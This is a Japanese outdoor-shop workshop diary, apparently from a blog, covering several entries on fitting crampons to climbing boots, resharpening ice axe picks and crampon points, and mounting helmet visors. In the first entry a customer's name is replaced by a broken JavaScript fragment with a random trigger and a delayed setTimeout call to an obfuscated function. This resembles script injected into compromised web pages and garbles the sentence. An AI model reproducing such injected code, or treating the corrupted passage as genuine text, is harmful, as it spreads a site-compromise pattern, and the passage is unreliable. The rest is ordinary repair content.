2020-21工場長日誌 052-054(その2)

で、お次の方はKayLandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andのICE DRAGON(アイスドラゴン)+GRIVEL RACING CRAMPON (2019)(レーシングクランポン 2019)。

で、更にお次の方はSCARPA REBEL ICE(レベルアイス)+Black Diamond RAPTOR CRAMPON(ラプタークランポン)組合わせ。

慣れている作業ですが、分解してネジ穴拡張、ネジ類の入れ替えなどヤルことはいっぱいあります。

ササッと完成!。

マニアックな並びなので、皆さんで記念写真を撮りましょう!。

2020-21工場長日誌 052-054(その1)

フルートブーツの組み上げをまとめて。

お一人目の方はSCARPA REBEL ICE(レベルアイス)+GRIVEL RACING CRAMPON (2019)(レーシングクランポン 2019)の組合わせ。

で、すんなり進むハズが、G社付属のネジがクソ過ぎる・・・。大抵の靴はM5の首下14mmなんて入れたら、足ツボマット状態です。おまけにもならない。

こーして、色々な種類・サイズのネジ在庫が増えてしまうのです(笑)。

で、ビルドして1人目の方、完成!。

2020-21工場長日誌 049-051

まとまっているC社からやろう。

1名様。

次の方。

で、送られてきたG社のICE VARIO(アイスバリオ)をやります。

未使用のよーですが、デフォルトで片方先端欠落してます・・・。型出しする時とか気を遣わないのか?。

鋳型違いかどーかは知りませんが、峰の厚みも形も違うじゃねーか!!。

こーゆークオリティーは日本人にはなかなか理解できません。とは言え、同じよーな形に削ってしまえばイイので最近は諦めモード(笑)。

ハイ、完成!!。しかし、無い部分は削れないのでこのままでは先端に差がついちゃいます。

勿論、出来る範囲で先端を出していくので、結果、こんな感じで仕上がりです。

2020-21工場長日誌 048

ヨレた名機からパーツ移植します。

ちなみに、1番重要なのはこの部分ね。

グルーをむしり取って準備完了!。

で、新機に穴開け。

メスネジの通称”金玉”にグルー充填。

組み上げて完成!

ちなみに、何故かは分かりませんが、この色しかバイザー付けたことがありません。

2020-21工場長日誌 023 – DENALI BLOG

2020-21工場長日誌 044-047 – DENALI BLOG

他にも2色ございます!、毎日こんな生活ですとタマには違う色で仕事がしたいのです!!。

2020-21工場長日誌 044-047

メンテついでに新機導入もして頂いてありがたい限りです。

先ずはクランポン。

ハイ、完成。

続け様にアックスも行きたい所ですが、飛び込み依頼もある訳で、一旦「ヘルメットにバイザー」つけます。

物は最近来たアレです。

穴開けて・・・、

メスネジ固定して・・・、

ベースを貼付け・・・、

セット完了!。

被ってもらって記念写真!!。

再びメンテに戻り・・・、

完成しつつ・・・、

その間にまた増えたので、2人分まとめて完成・・・。

で、剥がれたソールの接着もしつつ・・・、

奮闘の日々はつづく。

2020-21工場長日誌 043

「曲がったセカンド修正可能なら、他もメンテ」での依頼。

はぁ!?、こんなのかわいいモンです。

とりあえず、真っ直ぐにします。

で、フロントも。

因みに、大先生はこのよーに削っていますが、良くない削りの典型です!!。

明らかに「インテーパー」です!。

頭を落して▲を再形成。

両方やって完成。

で、アックスの方。

先端修正だけでもイイですが、職業ユーザーの場合割と厚目に削って欲しいリクエストが多いので、「厚み調整」したくなるのは職人の性。

で、少々厚みも落します。

中央が一般的なチューンドで左右が松原さんの。

道具のメンテは必要ですが、向かない方はご依頼下さい。山登りも同様、ヤバそーな感じならその道に長けている人にご相談を!!。

2020-21工場長日誌 041-042

LYNX(リンクス)フロントポイント4枚ですが、完成形は撮影し忘れました(笑)。とは言え、こーゆー状態になったら、メンテです。

で次はピック4枚。

1組目。

こんな感じで完成。

2組目。

完成。

で、2人目案件。

先端飛び。まぁ、使っていればこーゆー事もあるので、気にしても仕方ないです。

錆がキツいけど長い方の完成形。

ガッチリ持って逝かれた方も整形すればこんな感じ。

で、2枚揃えて完成。

よーするに、ヤバイと思ったら自助努力よりも他力本願、餅を買うなら餅屋、先端修正するなら毎日こんなことやってる人にご相談下さい。

2020-21工場長日誌 038-040

ハッキリ言って、新品デフォルト状態をチューンドするのが一番楽です。なぜなら、あまり個体差がないから。

とは言え、個体差激しいメンテナンスはユーザーの個性が感じられてそれはそれで楽しい。

しかしながら「楽」と「楽しい」、同じ漢字なのに手間はどーしてこんなに違うのか・・・。

先ずは1名様分。LYNX(リンクス)フルポイントとICE(アイス)メンテ、新品ICE(アイス)のチューンド。

クランポン、こんな感じになります。

ピックメンテはこんな感じ。

新品は割愛して、次の方の先端欠落メンテ。

この程度なら、500円/1箇所でお釣りが来ます。

削るの大好きな人もいますが、僕は削りたくない派。怠慢ではなく、出来るだけ削る所を少なくして切っ先の形状を復元したいので。

最後はLYNX(リンクス)フルポイントのみを。ネジを外してパーツだけなら郵送も楽ちん。

 

2020-21工場長日誌 033-037

PUR’ICE(ピュアアイス)2名様分。

またPUR’ICE(ピュアアイス)3名様分。

毎日毎日同じピックつづけば、そりゃー、削るの上手くなりますよ。

個人的にはデフォルト状態で比較的薄めなPUR’ICE(ピュアアイス)が一番削り甲斐がありません。とは言え、ピックトップの形状変更と峰のブレーディングにはやりがいを感じます。

え、何言ってるか分からない!?。そーです、普通はそこを理解する必要はございませんので、チューンナップご希望の方はご依頼下さい(笑)!。

2020-21工場長日誌 029-032

日に日に寒くなって参りましたので、皆さんの動きが活発になって参りました。

で、2名様分。

で、更に2名様分。

全てCASSIN系なんですが、MIXTEとICE PICK、ご希望された厚みで仕上げるなど、味付け違えど伝わらずスミマセン!!(笑)。

で、STINGER(スティンガー)の各ポイントメンテ。

最近のクランポンの爪は相当おしゃれな形ですが、元の形状に近い形に仕上げると廃棄箇所が増えます。「見てくれを取るか、実を取るか」の選択ですが、所詮、元通りにはなりません。

削り方は自由ですが、削りすぎにはご注意を!!